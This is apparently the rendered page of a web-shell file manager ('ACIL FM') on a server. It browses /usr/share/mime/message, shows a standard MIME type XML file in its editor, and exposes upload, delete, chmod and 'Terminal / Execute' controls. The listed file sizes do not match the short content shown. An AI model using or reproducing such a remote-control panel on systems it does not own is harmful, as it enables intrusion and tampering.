ACIL FM
Dark
Refresh
Current DIR:
/usr/share/mime/message
/
usr
share
mime
message
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
delivery-status.xml
3.65 MB
chmod
View
DL
Edit
Rename
Delete
disposition-notification.xml
3.68 MB
chmod
View
DL
Edit
Rename
Delete
external-body.xml
3.69 MB
chmod
View
DL
Edit
Rename
Delete
news.xml
3.53 MB
chmod
View
DL
Edit
Rename
Delete
partial.xml
3.64 MB
chmod
View
DL
Edit
Rename
Delete
rfc822.xml
3.11 MB
chmod
View
DL
Edit
Rename
Delete
x-gnu-rmail.xml
3.35 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/share/mime/message/partial.xml
<?xml version="1.0" encoding="utf-8"?> <mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="message/partial"> <!--Created automatically by update-mime-database. DO NOT EDIT!--> <comment>partial email message</comment> <comment xml:lang="zh_TW">部份電子郵件訊息</comment> <comment xml:lang="zh_CN">部分电子邮件</comment> <comment xml:lang="vi">thư điện tử riêng phần</comment> <comment xml:lang="uk">часткове поштове повідомлення</comment> <comment xml:lang="tr">kısmi eposta iletisi</comment> <comment xml:lang="sv">del av e-postmeddelande</comment> <comment xml:lang="sr">делимична порука ел. поште</comment> <comment xml:lang="sq">Mesazh poste i pjesëshëm</comment> <comment xml:lang="sl">delno elektronsko sporočilo</comment> <comment xml:lang="sk">Čiastočná e-mailová správa</comment> <comment xml:lang="ru">Фрагмент сообщения электронной почты</comment> <comment xml:lang="ro">mesaj de email parțial</comment> <comment xml:lang="pt_BR">Mensagem de e-mail parcial</comment> <comment xml:lang="pt">mensagem parcial de email</comment> <comment xml:lang="pl">Częściowa wiadomość e-mail</comment> <comment xml:lang="oc">messatge parcial de corrièr electronic</comment> <comment xml:lang="nn">del av e-post-melding</comment> <comment xml:lang="nl">gedeeltelijk e-mailbericht</comment> <comment xml:lang="nb">del av e-postmelding</comment> <comment xml:lang="ms">Bahagian mesej emel</comment> <comment xml:lang="lv">daļēja e-pasta vēstule</comment> <comment xml:lang="lt">nepilnas el. laiškas</comment> <comment xml:lang="ko">전자 우편 메시지 일부</comment> <comment xml:lang="kk">электронды поштаның үзінді мәлімдемесі</comment> <comment xml:lang="ja">部分メールメッセージ</comment> <comment xml:lang="it">Messaggio email parziale</comment> <comment xml:lang="id">pesan email sebagian</comment> <comment xml:lang="ia">Message de e-mail partial</comment> <comment xml:lang="hu">részleges elektronikus levél</comment> <comment xml:lang="hr">Nepotpuna poruka e-pošte</comment> <comment xml:lang="he">מסר דוא״ל חלקי</comment> <comment xml:lang="gl">mensaxe de correo electrónico parcial</comment> <comment xml:lang="ga">teachtaireacht ríomhphoist neamhiomlán</comment> <comment xml:lang="fur">messaç e-mail parziâl</comment> <comment xml:lang="fr">message partiel de courriel</comment> <comment xml:lang="fi">osittainen sähköpostiviesti</comment> <comment xml:lang="eu">posta mezu partziala</comment> <comment xml:lang="es">mensaje de correo electrónico parcial</comment> <comment xml:lang="eo">parta retpoŝta mesaĝo</comment> <comment xml:lang="en_GB">partial email message</comment> <comment xml:lang="el">Τμηματικό ηλ. μήνυμα</comment> <comment xml:lang="de">E-Mail-Nachrichtenfragment</comment> <comment xml:lang="da">delvis postmeddelelse</comment> <comment xml:lang="cy">darn o neges e-bost</comment> <comment xml:lang="cs">částečná e-mailová zpráva</comment> <comment xml:lang="ca">missatge de correu electrònic parcial</comment> <comment xml:lang="bg">Част от електронно писмо</comment> <comment xml:lang="be@latin">niapoŭny list email</comment> <comment xml:lang="az">qismi poçt ismarışı</comment> <comment xml:lang="ar">رسالة البريد الإلكتروني الجزئية</comment> <comment xml:lang="af">gedeeltelike e-posboodskap</comment> <generic-icon name="text-x-generic"/> <sub-class-of type="text/plain"/> </mime-type>
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply